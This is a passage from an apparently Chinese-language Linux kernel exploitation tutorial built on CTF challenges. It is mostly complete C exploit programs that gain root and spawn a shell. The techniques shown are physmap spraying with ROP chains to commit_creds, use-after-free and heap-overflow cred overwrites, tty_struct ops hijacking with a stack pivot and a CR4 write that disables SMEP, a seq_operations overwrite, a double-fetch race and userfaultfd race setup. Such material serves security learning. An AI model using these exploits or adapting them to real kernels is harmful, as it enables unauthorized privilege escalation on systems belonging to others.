"mov r8, 0xaaaaaaaaaaaaaaaa;"
"mov rcx, 0xbbbbbbbbbbbbbbbb;"
"mov rax, 16;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall;"
);
system("/bin/sh");
return 0;
}
例题:MINI-LCTF2022 - kgadget
附件下载链接
主要漏洞点在 kgaget_ioctl 函数上。分析如下:
总之这个函数可以执行指定位置的代码。
不过根据输出他提示信息, pt_regs 中只有 r8 和 r9 寄存器可以使用,但是除去这两个寄存器和系统调用以及传参用掉的寄存器还有 r11 和 rcx 的值没有被覆盖。
为了探究原因,首先在系统调用前将寄存器赋值为特殊值。
然后在 entry_SYSCALL_64 函数处下一个条件端点。
运行测试程序成功断在了目标位置。
观察寄存器发现 rcx 和 r11 以经被写入其他值了。因此这两个寄存器实际上是无法利用的。
漏洞利用的手段比较巧妙。
首先在用户空间喷射大量下图所示的内存页。
由于栈迁移的 gadget 占了绝大多数,因此 ioctl 执行随便一个地址的 gadget 很大概率会将栈迁移到 pt_regs 结构体。
在 pt_regs 结构体中利用 r8 和 r9 两个寄存器将栈迁移到喷射内存的区域的某个地址,很大概率会迁移到 add rsp; ret;
和 ret;
gadget 处,很大概率会最终执行到 rop 完成 提权。
返回用户空间在使用 swapgs_restore_regs_and_return_to_usermode
函数时应该注意,前面 pop 完寄存器之后除 iretq 需要的寄存器还剩 orig_rax 和 rdi ,为了缩短 rop 的长度,可以直接 retn 到标记的位置,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
exp 如下:
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
const size_t try_hit = 0xffff888000000000 + 0x7000000;
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int dev_fd;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell() { system("/bin/sh"); }
int main() {
save_status();
dev_fd = open("/dev/kgadget", O_RDWR);
if (dev_fd < 0) {
puts("[-] Error: open kgadget");
}
page_size = sysconf(_SC_PAGESIZE);
size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int idx = 0;
while (idx < (page_size / 8 - 0x30)) {
rop[idx++] = 0xffffffff810737fe;// add rsp, 0xa0; pop rbx; pop r12; pop r13; pop rbp; ret;
}
for (; idx < (page_size / 8 - 11); idx++) {
rop[idx] = 0xffffffff8108c6f1;// ret;
}
rop[idx++] = 0xffffffff8108c6f0;// pop rdi; ret;
rop[idx++] = 0xffffffff82a6b700;// init_cred
rop[idx++] = 0xffffffff810c92e0;// commit_creds
rop[idx++] = 0xffffffff81c00fb0 + 27;// swapgs_restore_regs_and_return_to_usermode + 27;
rop[idx++] = 0x0000000000000000;// padding
rop[idx++] = 0x0000000000000000;// padding
rop[idx++] = (size_t) get_shell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
puts("[*] Spraying physmap...");
for (int i = 1; i < 15000; i++) {
sigset_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(page, rop, page_size);
}
puts("[*] trigger physmap one_gadget...");
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0xffffffff811483d0;"// pop rsp; ret;
"mov r8, try_hit;"
"mov rax, 0x10;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, dev_fd;"
"syscall"
);
return 0;
}
Kernel Heap Exploit
这里以例题 heap bof 为例进行讲解。
heap bof 源码如下,存在 uaf 和堆溢出两种漏洞。
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx;// 表示 ptr 数组的 索引
};
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct param p_arg;
copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
long retval = 0;
switch (cmd) {
case 9:
copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
break;
case 8:
copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
break;
case 7:
kfree(ptr[p_arg.idx]);
printk("free: 0x%p\n", ptr[p_arg.idx]);
break;
case 5:
ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
break;
default:
retval = -1;
break;
}
return retval;
}
Use After Free
修改 cred
cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8(实际为 0xe0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx;// 表示 ptr 数组的 索引
};
int main() {
int fd = open("dev/bof", O_RDWR);
struct param p = {0xa8, malloc(0xa8), 1};
ioctl(fd, 5, &p);//malloc
ioctl(fd, 7, &p);//free
int pid = fork();
if (pid < 0) {
puts("[-]fork error");
return -1;
}
if (pid == 0) {
p.buf = malloc(p.len = 0x30);
memset(p.buf, 0, p.len);
ioctl(fd, 8, &p);//edit
if (getuid() == 0) {
puts("[+]root success");
system("/bin/sh");
} else {
puts("[-]root failed");
}
} else {
wait(NULL);
}
close(fd);
return 0;
}
但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar
中的 object,这是因为 cred_jar
在创建时设置了 SLAB_ACCOUNT
标记,在 CONFIG_MEMCG_KMEM=y
时(默认开启)cred_jar
不会再与相同大小的 kmalloc-192
进行合并
来着内核源码 4.5 kernel/cred.c
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}
本题(4.4.72):
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
利用 tty_struct 劫持程序控制流提权
在 /dev
下有一个伪终端设备 ptmx
,在我们打开这个设备时内核中会创建一个 tty_struct
结构体,与其他类型设备相同,tty 驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations
。
使用 tty 设备的前提是挂载了 ptmx
设备。
mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx
tty 的结构体 tty_srtuct
定义在 linux/tty.h
中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations
。
struct tty_operations {
...
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
};
struct tty_struct {
...
const struct tty_operations *ops;
...
}
因此我们只需要像上一种方法那样利用 UAF 修改 tty_struct 的结构体指针 ops (这里不直接劫持 tty_operations
的原因是 tty_operations
已经实例化的,不是动态申请的,类似 glibc 中的 _IO_XX_jumps
)然后再调用 tty 的相关操作函数就可以劫持控制流,实现我们想要的操作。
然而如果仅仅是靠修改 tty_operations
结构体中某函数指针只能写入一个 gadget ,除了使用 pt_regs + ret2dir 外还有下面这种方法。
这里需要利用通过 tty_struct
执行 ioctl 时的特性。
首先由于 tty_struct
指向的 tty_operations
已经实例化,因此可以通过 tty_struct
的 tty_operations
泄露内核基址。
通过 tty_struct
执行 ioctl 时, rax 的值正好是 rip 的值,也就是 tty_operations
中 ioctl 函数指针指向的指令的地址。
如果向 ioctl 函数指针写入 xchg eax,esp;ret
指令地址,则会将 rsp 的值置为 rax & 0xffffffff
,即将栈迁移至 rax & 0xffffffff
地址处。如果我们提前在 rax & 0xffffffff
地址处布置好 rop 则可以完成提权操作。
这里需要注意的是:
-
mmap 的内存不应该从
rax & 0xffffffff
开始,因为在执行 rop 时返回到用户空间执行 get_root 函数会抬高 rsp 小于rax & 0xffffffff
造成越界,因此需要加一个偏移。void *mmap_addr = mmap(mmap_base - 0x1000, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
-
mmap 的内存是没有映射到实际物理内存的虚拟内存,如果 rsp 到达没有写入 rop 的位置同样也会导致越界错误,因此在使用前先写入数据使其映射到物理内存上。
memset(mmap_addr, 0, 0x30000);
由于 ROP 在用户空间,因此不能过 SMAP 保护。
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
size_t pop_rdi_ret = 0xffffffff8135ce9d;
size_t mov_cr4_rdi_pop_rbp_ret = 0xffffffff81004c10;
size_t swapgs_pop_rbp_ret = 0xffffffff810601f4;
size_t iretq = 0xffffffff810463cc;
size_t xchg_eax_esp_ret = 0xffffffff8100008a;
struct tty_operations {
struct tty_struct *(*lookup)(struct tty_driver *driver, struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct *tty, struct file *filp);
void (*close)(struct tty_struct *tty, struct file *filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct *tty, const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios *old);
void (*throttle)(struct tty_struct *tty);
void (*unthrottle)(struct tty_struct *tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};
struct param {
size_t len;
char *buf;
long long idx;
};
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *)KERNCALL =(void *) 0xffffffff8109f2b0;
void *(*commit_creds)(void *)KERNCALL =(void *) 0xffffffff8109ef00;
void get_shell() { system("/bin/sh"); }
void get_root() { commit_creds(prepare_kernel_cred(0)); }
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] status has been saved.");
}
#define __USE_GNU
#include <sched.h>
void bind_cpu(int core) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
const int BOF_NUM = 40;
const int PTMX_NUM = 0x100;
int main() {
bind_cpu(sched_getcpu());
int bof_fd = open("/dev/bof", O_RDWR);
if (bof_fd == -1) {
puts("[-] open bof device failed!");
return -1;
}
struct param p;
p.buf = malloc(p.len = 0x2e0);
// 让驱动分配 BOF_NUM 个 0x2e0 的内存块
for (p.idx = BOF_NUM - 1; p.idx >= 0; p.idx--) {
ioctl(bof_fd, 5, &p); // malloc
}
// 释放 BOF_NUM 个申请的内存块
for (p.idx = BOF_NUM - 1; p.idx >= 0; p.idx--) {
ioctl(bof_fd, 7, &p); // free
}
// 批量 open /dev/ptmx, 喷射 tty_struct
int ptmx_fds[PTMX_NUM];
for (int i = 0; i < PTMX_NUM; ++i) {
ptmx_fds[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (ptmx_fds[i] == -1) {
puts("[-] open ptmx err");
}
}
p.idx = 0;
ioctl(bof_fd, 9, &p);
// 此时如果释放后的内存被 tty_struct 占用,那么他的开始字节序列应该为 1 54 0 0 1 0 0 0 0 0 0 0 0 0 0 0
for (int i = 0; i < 16; ++i) {
printf("%2x%c", p.buf[i], i == 15 ? '\n' : ' ');
}
// 利用 tty_operations 指针泄露内核基址
size_t offset = (*(size_t *) &p.buf[0x18]) - 0xffffffff81a87940;
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
pop_rdi_ret += offset;
mov_cr4_rdi_pop_rbp_ret += offset;
swapgs_pop_rbp_ret += offset;
iretq += offset;
xchg_eax_esp_ret += offset;
// 伪造 tty_operations 结构体
struct tty_operations *fake_tty_operations = (struct tty_operations *) malloc(sizeof(struct tty_operations));
memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fake_tty_operations->ioctl = (void *) xchg_eax_esp_ret;
fake_tty_operations->close = (void *) xchg_eax_esp_ret;
// 布局 rop 链
save_status();
size_t rop_chain[] = {
pop_rdi_ret,
0x6f0,
mov_cr4_rdi_pop_rbp_ret,
0,
(size_t) get_root,
swapgs_pop_rbp_ret,
0,//padding
iretq,
(size_t) get_shell,
user_cs,
user_rflags,
user_sp,
user_ss
};
// 触发漏洞前先把 rop 链拷贝到 mmap_base
void *mmap_base = (void *) (xchg_eax_esp_ret & 0xffffffff);
void *mmap_addr = mmap(mmap_base - 0x1000, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("[*] mmap_addr: %p\n", mmap_addr);
memset(mmap_addr, 0, 0x30000);
memcpy(mmap_base, rop_chain, sizeof(rop_chain));
// 批量修改 tty_struct 的 ops 指针
*(size_t *) &p.buf[0x18] = (size_t) fake_tty_operations;
for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
ioctl(bof_fd, 8, &p);
}
// 调用 tty_operations.ioctl 和 tty_operations.close 触发漏洞
for (int i = 0; i < PTMX_NUM; ++i) {
ioctl(ptmx_fds[i], 0, 0);
close(ptmx_fds[i]);
}
return 0;
}
Heap Overflow
修改 cred
溢出修改 cred
,和前面 UAF 修改 cred
一样,在新版本失效。
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx; // 表示 ptr 数组的 索引
};
const int BOF_NUM = 10;
int main(void) {
int bof_fd = open("/dev/bof", O_RDWR);
if (bof_fd == -1) {
puts("[-] Failed to open bof device.");
exit(-1);
}
struct param p = {0xa8, malloc(0xa8), 0};
// 让驱动分配 80 个 0xa8 的内存块
for (int i = 0; i < 80; i++) {
ioctl(bof_fd, 5, &p); // malloc
}
puts("[*] clear heap done");
// 让驱动分配 10 个 0xa8 的内存块
for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
ioctl(bof_fd, 5, &p); // malloc
}
p.idx = 5;
ioctl(bof_fd, 7, &p); // free
// 调用 fork 分配一个 cred结构体
int pid = fork();
if (pid < 0) {
puts("[-] fork error");
exit(-1);
}
// 此时 ptr[4] 和 cred相邻
// 溢出 修改 cred 实现提权
p.idx = 4, p.len = 0xc0 + 0x30;
memset(p.buf, 0, p.len);
ioctl(bof_fd, 8, &p);
if (!pid) {
//一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
size_t uid = getuid();
printf("[*] uid: %zx\n", uid);
if (!uid) {
puts("[+] root success");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
} else {
puts("[-] root fail");
}
} else {
wait(0);
}
return 0;
}
堆溢出 + 堆喷射覆写 seq_operations 控制内核执行流
原题为 InCTF2021 - Kqueue ,这里简化分析过程用 heap_bof 代替。
seq_operations
结构如下,该结构在打开 /proc/self/stat
时从 kmalloc-32
中分配。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
在调用读取 stat
文件时会调用 seq_operations
的 start
函数指针。
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
struct seq_file *m = file->private_data;
...
p = m->op->start(m, &pos);
...
当我们在 heap_bof
驱动分配 0x20
大小的 object 后打开大量的 stat
文件就有很大概率在 heap_bof
分配的 object 的溢出范围内存在 seq_operations
结构体。
由于这道题关闭了 SMEP,SMAP 和 KPTI 保护,因此我们可以覆盖 start
函数指针为用户空间的提权代码实现提权。
至于 KASLR 可以通过泄露栈上的数据绕过。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx;// 表示 ptr 数组的 索引
};
const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;
void get_shell() { system("/bin/sh"); }
size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
#define KERNCALL __attribute__((regparm(3)))
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t kernel_offset;
void get_root() {
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -= 0xffffffff81229378;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
int main() {
int bof_fd = open("dev/bof", O_RDWR);
if (bof_fd < 0) {
puts("[-] Failed to open bof.");
exit(-1);
}
struct param p = {0x20, malloc(0x20), 0};
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, 5, &p);
}
int seq_fd[SEQ_NUM];
for (int i = 0; i < SEQ_NUM; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) {
puts("[-] Failed to open stat.");
}
}
puts("[*] seq_operations spray finished.");
p.len = DATA_SIZE;
p.buf = malloc(DATA_SIZE);
p.idx = 0;
for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
*(size_t *) &p.buf[i] = (size_t) get_root;
}
ioctl(bof_fd, 8, &p);
puts("[*] Heap overflow finished.");
save_status();
for (int i = 0; i < SEQ_NUM; i++) {
read(seq_fd[i], p.buf, 1);
}
return 0;
}
Race condition
double fetch
用户空间向内核传递数据时,内核先通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。
一个典型的 Double Fetch 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。
例题:2018 0CTF Finals Baby Kernel
baby_ioctl
函数有两个功能。
- 0x6666:打印 flag 的存放地址
if ( (_DWORD)a2 == 0x6666 ) { printk("Your flag is at %px! But I don't think you know it's content\n", flag); return 0LL; }
- 0x1337:检验用户输入的参数地址是否合法以及用户输入的 flag 内容是否正确。如果通过检验则打印 flag 内容。
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3) { bool v3; // cf unsigned __int64 v4; // rdi v3 = __CFADD__(a2, a1); // 检查相加是否溢出 v4 = a2 + a1; return v3 || a3 < v4; } else if ( (_DWORD)a2 == 0x1337 && !_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 4952)) && !_chk_range_not_ok( v5->flag_str, SLODWORD(v5->flag_len), *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 4952)) && LODWORD(v5->flag_len) == strlen(flag) ) { for ( i = 0; i < strlen(flag); ++i ) { if ( *(_BYTE *)(v5->flag_str + i) != flag[i] ) return 0x16LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); return 0LL; }
调试发现第一次 _chk_range_not_ok
检查结构体范围是否在用户空间。
第二次 _chk_range_not_ok
检查 flag 是否在用户空间。
因此我们可以起一个线程改 flag
指针,可以有一定概率在第二次 _chk_range_not_ok
和校验 flag 之间将 flag
指针指向真正的 flag 从而通过对 flag 的校验。
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define TRYTIME 0x1000
#define LEN 0x1000
struct attr {
char *flag;
size_t len;
};
char *addr;
int finish = 0;
char buf[LEN + 1];
void change_attr_value(void *s) {
struct attr *s1 = s;
while (finish == 0) {
s1->flag = addr;
}
}
int main(void) {
int addr_fd;
char *idx;
int fd = open("/dev/baby", 0);
ioctl(fd, 0x6666);
system("dmesg > /tmp/record.txt");
addr_fd = open("/tmp/record.txt", O_RDONLY);
lseek(addr_fd, -LEN, SEEK_END);
read(addr_fd, buf, LEN);
close(addr_fd);
idx = strstr(buf, "Your flag is at ");
if (idx == 0) {
printf("[-] Not found addr");
exit(-1);
} else {
idx += 16;
addr = (char *) strtoull(idx, NULL, 16);
printf("[+] flag addr: %p\n", addr);
}
pthread_t t1;
struct attr t = {"flag{fake_flag}", 33};
pthread_create(&t1, NULL, (void *) change_attr_value, &t);
for (int i = 0; i < TRYTIME; i++) {
t.flag = "flag{fake_flag}";
ioctl(fd, 0x1337, &t);
}
finish = 1;
pthread_join(t1, NULL);
close(fd);
puts("[+]result is :");
system("dmesg | grep flag{");
return 0;
}
userfaultfd
条件竞争的成功利用往往需要正确的顺序,然而若是直接开两个线程进行竞争,命中的几率是比较低的,就比如说前面的 double fetch 尝试 0x1000 次也不一定会命中一次。而 userfaultfd 本身只是一个常规的与处理缺页异常相关的系统调用,但是通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高。
内核的内存主要有两个区域,RAM和交换区,将要被使用的内存放在RAM,暂时用不到的内存放在交换区,内核控制交换进出的过程。RAM中的地址是物理地址,内核使用虚拟地址,其通过多级页表建立虚拟地址到物理地址的映射。但有的内存既不在RAM又不在交换区,比如mmap出来的内存,这块内存在读写它之前并没有分配实际的物理页。例如:mmap(0x1337000,0x1000,PROT_READ|PROT_WRITE,MAP_FIXED|MAP_PRIVATE,fd,0);
内核并未将fd
内容拷贝到0x1337000
,只是将地址0x1337000
映射到文件fd
。
比如此时有下列代码运行
char *a = (char *)0x1337000
printf("content: %c\n", a[0]);
可以看到在读取数据,内核会进行以下操作:
- 为
0x1337000
创建物理帧 - 从
fd
读取内容到0x1337000
(如果是堆空间映射的话,会将对应的物理帧清零) - 在页表标记合适的入口,以便识别
0x1337000
虚地址。
所以说,这里的过程用时会比较长。
userfaultfd 是 linux 下的一直缺页处理机制,用户可以自定义函数来处理这种事件。下面举一个向缺页处写入数据的例子:
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
int page_size;
static void *fault_handler_thread(void *arg) {
long uffd = (long) arg;
//mmap 映射一块虚拟内存用来存放待写入的数据
static char *page = NULL;
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
puts("[-] Error at: mmap");
exit(-1);
}
printf("[*] mmap addr: %p\n", page);
}
//循环处理缺页错误
while (true) {
//poll 函数等待 userfaultfd 的事件
struct pollfd pollfd;
pollfd.fd = (int) uffd;
pollfd.events = POLLIN;
int nready = poll(&pollfd, 1, -1);
if (nready == -1) {
puts("[-] Error at: poll");
exit(-1);
}
//poll 函数返回的结果
puts("\nfault_handler_thread():");
printf(" poll() returns: nready = %d; POLLIN = %d; POLLERR = %d\n",
nready, (pollfd.revents & POLLIN) != 0, (pollfd.revents & POLLERR) != 0);
//从 userfaultfd 读取事件
static struct uffd_msg msg;
ssize_t nread = read((int) uffd, &msg, sizeof(msg));
if (nread == 0) {
puts("[-] EOF on userfaultfd!");
exit(EXIT_FAILURE);
}
if (nread == -1) {
puts("[-] Error at: read");
exit(-1);
}
//userfaultfd 的事件应当是缺页错误事件
if (msg.event != UFFD_EVENT_PAGEFAULT) {
puts("[-] Unexpected event on userfaultfd");
exit(EXIT_FAILURE);
}
//userfaultfd 返回的缺页错误相关信息
printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = 0x%llx; ", msg.arg.pagefault.flags);
printf("address = 0x%llx\n", msg.arg.pagefault.address);
//用户自定义的处理缺页错误的部分
static int fault_cnt = 0;
memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;
//将内容复制到目标位置,注意页对齐
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
puts("[-] Error at: ioctl-UFFDIO_COPY");
exit(-1);
}
printf(" (uffdio_copy.copy returned %lld)\n", uffdio_copy.copy);
}
}
int main() {
//获取内存页长度
page_size = (int) sysconf(_SC_PAGE_SIZE);
printf("[*] page size: 0x%x\n", page_size);
//系统调用创建 userfaultfd
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
puts("Error at: userfaultfd");
exit(-1);
}
//设置 userfaultfd 调用接口
struct uffdio_api uffdio_api;
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl((int) uffd, UFFDIO_API, &uffdio_api) == -1) {
puts("Error at: ioctl-UFFDIO_API");
exit(-1);
}
//mmap 映射一块虚拟内存
char *addr = (char *) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
puts("Error at: mmap");
exit(-1);
}
printf("[*] mmap addr: 0x%lx\n", (size_t) addr);
//在创建的 userfaultfd 上注册一块内存,注册的内存区域覆盖刚才 mmap 映射的虚拟内存
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = page_size;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl((int) uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
puts("Error at: ioctl-UFFDIO_REGISTER");
exit(-1);
}
//创建一个线程处理注册的内存区域发生的缺页中断
pthread_t thr;
int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
puts("Error at: pthread_create");
exit(-1);
}
//访问 mmap 映射的虚拟内存触发缺页中断
size_t ptr = *(unsigned long long *) addr;
printf("[*] Get data: 0x%lx\n", ptr);
return 0;
}
运行结果如图,自定义的缺页处理函数向缺页处写入了数据。
需要说明的是,新版本内核 fs/userfaultfd.c
中全局变量 sysctl_unprivileged_userfaultfd
初始化为 1,这意味着只有 root 权限用户才能使用 userfaultfd 。
例题:D^3CTF2019 - knote
有 add,dele,edit,get 4种功能,ioctl 不能调用超过 9 次。其中 edit 和 get 没有加锁。
首先是内核地址泄露。利用 userfaultfd 制造将获取数据的内存块替换成 tty_struct
,然后从其中的数据获取内核基地址。
第二次同理,利用 userfaultfd 构造 UAF 劫持 freelist 修改 modprobe_path 使得修改 flag 文件权限的 shell 脚本以管理员权限执行。
这样构造 Race condition 需要 sleep 效率较低,即使保存泄露的基址避免重复爆破依然需要长时间爆破。
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <stdbool.h>
const int TTY_STRUCT_SIZE = 0x2e0;
const size_t DO_SAK_WORK = 0xffffffff815d4ef0;
const size_t MODPROBE_PATH = 0xffffffff8245c5c0;
char *page;
long page_size;
void *fault_handler_thread(void *arg) {
long uffd = (long) arg;
while (true) {
struct pollfd pollfd;
pollfd.fd = (int) uffd;
pollfd.events = POLLIN;
